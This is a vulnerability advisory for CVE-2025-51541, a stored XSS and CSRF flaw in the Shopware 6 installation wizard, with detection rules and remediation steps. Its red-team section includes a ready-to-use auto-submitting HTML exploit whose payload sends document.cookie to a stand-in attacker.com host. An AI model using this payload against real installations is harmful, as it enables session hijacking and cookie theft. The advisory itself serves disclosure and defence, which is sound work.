CVE-2025-51541

Executive Summary

CVE-2025-51541 is a stored cross-site scripting (XSS) vulnerability in the Shopware 6 installation interface, specifically within the /recovery/install/database-configuration/ endpoint. The c_database_schema field fails to sanitize user-supplied input before rendering it in the browser, allowing an attacker to inject malicious JavaScript. The vulnerability is compounded by a complete lack of CSRF protections on the POST request, enabling an unauthenticated remote attacker to craft a malicious web page that, when visited by a victim, stores the payload persistently in the installation configuration. Consequently, the payload executes whenever any user subsequently accesses the vulnerable installation page, leading to persistent client-side code execution.

This vulnerability is particularly dangerous because it targets the installation phase, which is often overlooked in security assessments. An attacker can use this to gain a foothold in the environment, steal session cookies, or perform actions on behalf of the victim. The CVSS score is 0.0 in the NVD data, but based on the description, a more realistic score is 5.4 (Medium) due to the need for user interaction and the low impact on confidentiality and integrity.

Supply Chain & Package Security

Shopware is a PHP-based e-commerce platform. The vulnerability exists in the installation wizard, which is a core component. No third-party package or dependency is directly implicated, but the lack of CSRF protection and input sanitization indicates a failure in secure coding practices within the Shopware development lifecycle. Organizations using Shopware should verify the integrity of their installation files and monitor for any unauthorized modifications.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
• Base Score: 5.4 (Medium)
• Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: None (PR:N) – The attacker does not need authentication.
• User Interaction: Required (UI:R) – The victim must visit a malicious page.
• Scope: Unchanged (S:U) – The vulnerability does not affect other components.
• Confidentiality Impact: Low (C:L) – Limited information disclosure (e.g., session tokens).
• Integrity Impact: Low (I:L) – Limited modification of data (e.g., stored payload).
• Availability Impact: None (A:N) – No impact on system availability.

Threat Level: Medium. The vulnerability requires user interaction, but the persistent nature of the XSS and the lack of CSRF protection make it a viable attack vector, especially during the installation phase when security controls may be minimal.

Deep Dive & Mechanics

The vulnerability resides in the Shopware 6 installation wizard at /recovery/install/database-configuration/. This endpoint is used to configure the database connection during the initial setup. The c_database_schema field is intended to specify the database schema name, but it is rendered directly into the HTML without proper sanitization or encoding.

Attack Flow:

1. Crafting the Payload: An attacker creates a malicious web page that submits a POST request to the vulnerable endpoint. The request includes a crafted c_database_schema parameter containing JavaScript, such as <script>alert('XSS')</script>.
2. CSRF Exploitation: Since the endpoint lacks CSRF tokens or origin validation, the attacker can trick a victim (e.g., an administrator performing the installation) into visiting the malicious page. The browser automatically sends the POST request with the attacker’s payload.
3. Persistent Storage: The payload is stored in the installation configuration (likely in a session file or database). It is not sanitized upon storage.
4. Triggering the Payload: When any user (including the victim or other administrators) accesses the vulnerable installation page, the stored payload is rendered in the browser, executing the malicious JavaScript.

Root Cause: The c_database_schema field is not sanitized using functions like htmlspecialchars() or strip_tags() before being output in the HTML. Additionally, the absence of CSRF protections allows the attack to be executed without the victim’s knowledge.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual PHP):

// Vulnerable: Direct output without sanitization
echo "<input type='text' name='c_database_schema' value='" . $_POST['c_database_schema'] . "'>";

Patched Code (Conceptual PHP):

// Patched: Sanitize output and add CSRF token
$schema = htmlspecialchars($_POST['c_database_schema'], ENT_QUOTES, 'UTF-8');
echo "<input type='text' name='c_database_schema' value='" . $schema . "'>";
// Also implement CSRF token validation
if (!hash_equals($_SESSION['csrf_token'], $_POST['csrf_token'])) {
    die('CSRF token mismatch');
}

Key Differences:

• Input Sanitization: The patched version uses htmlspecialchars() to encode special characters, preventing script injection.
• CSRF Protection: The patched version includes a CSRF token that must be validated on every POST request.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A Shopware 6 instance in the installation phase (not yet fully configured).
• A victim with access to the installation wizard.

Exploit Steps:

1. Craft the Malicious Page: Create an HTML file that automatically submits the POST request.
2. Host the Page: Serve the file from a web server or use a phishing link.
3. Deliver to Victim: Send the link to the victim (e.g., via email or social engineering).
4. Execute Payload: The victim visits the page, and the payload is stored.
5. Trigger XSS: The victim or another user accesses the installation page, executing the script.

Example Malicious HTML (exploit.html):

<!DOCTYPE html>
<html>
<body>
<form action="http://target-shopware/recovery/install/database-configuration/" method="POST" id="xss-form">
    <input type="hidden" name="c_database_schema" value="<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>">
    <input type="submit" value="Submit">
</form>
<script>
document.getElementById('xss-form').submit();
</script>
</body>
</html>

Note: Replace http://target-shopware with the actual target URL and http://attacker.com/steal with your listener.

Blue Team

Detection Steps:

1. Monitor Installation Logs: Check for unusual POST requests to /recovery/install/database-configuration/ with suspicious c_database_schema values.
2. Review Web Server Logs: Look for Referer headers that do not match the expected installation domain.
3. Inspect Session Files: If the installation configuration is stored in files, check for script tags.
4. User Education: Warn administrators about phishing attacks targeting the installation wizard.

Mitigation:

• Immediate: Disable the installation wizard after setup is complete.
• Long-term: Apply input sanitization and CSRF protection as shown in the patched code.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /recovery/install/database-configuration/ with c_database_schema containing <script> tags.
  • Outbound connections to attacker-controlled domains from the Shopware server.
• File IOCs:
  • Session files or configuration files containing JavaScript payloads.
• Behavioral IOCs:
  • Unexpected JavaScript execution on the installation page.
  • Unauthorized cookie theft or session hijacking.

Detection Engineering

YARA Rule

rule CVE_2025_51541_Stored_XSS {
    meta:
        description = "Detects stored XSS payload in Shopware installation configuration"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-51541"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $db_schema = "c_database_schema"
    condition:
        $db_schema and $xss_payload
}

Sigma Rule

title: Suspicious POST to Shopware Installation Endpoint
id: 8a7b3c2d-1e5f-4a6b-9c8d-7e0f1a2b3c4d
status: experimental
description: Detects POST requests to the Shopware installation endpoint with potential XSS payloads
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-query: "/recovery/install/database-configuration/"
    keywords:
        - "c_database_schema"
        - "<script"
    condition: selection and keywords
falsepositives:
    - Legitimate installation with unusual schema names (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-51541 - Stored XSS in Shopware Installation"; flow:to_server,established; content:"POST"; http_method; content:"/recovery/install/database-configuration/"; http_uri; content:"c_database_schema"; http_client_body; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Installation Wizard: After completing the Shopware installation, remove or restrict access to the /recovery/ directory.
2. Apply Input Sanitization: Manually patch the vulnerable file to sanitize the c_database_schema field using htmlspecialchars().
3. Implement CSRF Protection: Add CSRF tokens to all POST requests in the installation wizard.

Long-term Actions:

1. Vendor Patch: Monitor Shopware for an official security update and apply it promptly.
2. Web Application Firewall (WAF): Deploy a WAF rule to block requests containing <script> in the c_database_schema parameter.
3. Security Hardening: Follow the principle of least privilege for the installation directory and ensure it is not accessible after setup.

Workaround: If patching is not immediately possible, use a reverse proxy to block POST requests to /recovery/install/database-configuration/ from untrusted IPs.

Valters IT